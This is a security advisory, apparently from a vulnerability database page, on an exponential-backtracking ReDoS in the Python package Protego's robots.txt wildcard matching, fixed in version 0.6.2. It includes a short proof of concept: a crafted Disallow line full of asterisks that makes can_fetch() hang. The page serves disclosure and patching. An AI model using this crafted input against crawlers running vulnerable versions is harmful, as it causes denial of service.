Protego has exponential backtracking ReDoS in robots.txt URL wildcard matching
Problem description
Protego constructs regular expressions to match URLs against robots.txt Allow: and Disallow: directives, see protego._urlpattern._URLPattern._prepare_pattern_for_regex(). Every * in the directive value is translated into a lazy .*? regex piece, thus a specially crafted directive value with many asterisks may produce a regex that freezes the parser due to exponential backtracking.
Impact
Parsing a specially crafted robots.txt with protego.Protego.parse() and then trying to match an URL with protego.Protego.can_fetch() results in the latter call not returning for a period dependent on the length of the URL.
Proof of concept
from protego import Protego
robotstxt = f"""
User-agent: *
Disallow: /{"*1" * 12}*Z
"""
rp = Protego.parse(robotstxt)
url = "/" + "1" * 60
rp.can_fetch(url, "mybot") # freezes
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | protego | < 0.6.2 | 0.6.2 |
Verweise
- https://github.com/scrapy/protego/security/advisories/GHSA-wjmf-p669-5m5p
- https://github.com/scrapy/protego/commit/785940181659bf440ba82f1da148fade5087e858
- https://github.com/scrapy/protego
- https://github.com/scrapy/protego/releases/tag/0.6.2
- https://pypi.org/project/protego
- https://github.com/advisories/GHSA-wjmf-p669-5m5p
- https://nvd.nist.gov/vuln/detail/CVE-2026-55520
- CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N- Schwäche (CWE)
CWE-1333, CWE-400- Plattform
- Python (PyPI)
- Paket
protego- Veröffentlicht
- 28.08.2026
- Aktualisiert
- 11.10.2026 15:18
Quellen und Lizenzen
OSV / GitHub Advisory Database - PYSEC-2026-3906 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-wjmf-p669-5m5p - CC BY 4.0
Schwachstellenhistorie: protego
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
Dies ist die einzige bekannte Schwachstelle dieses Pakets.
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.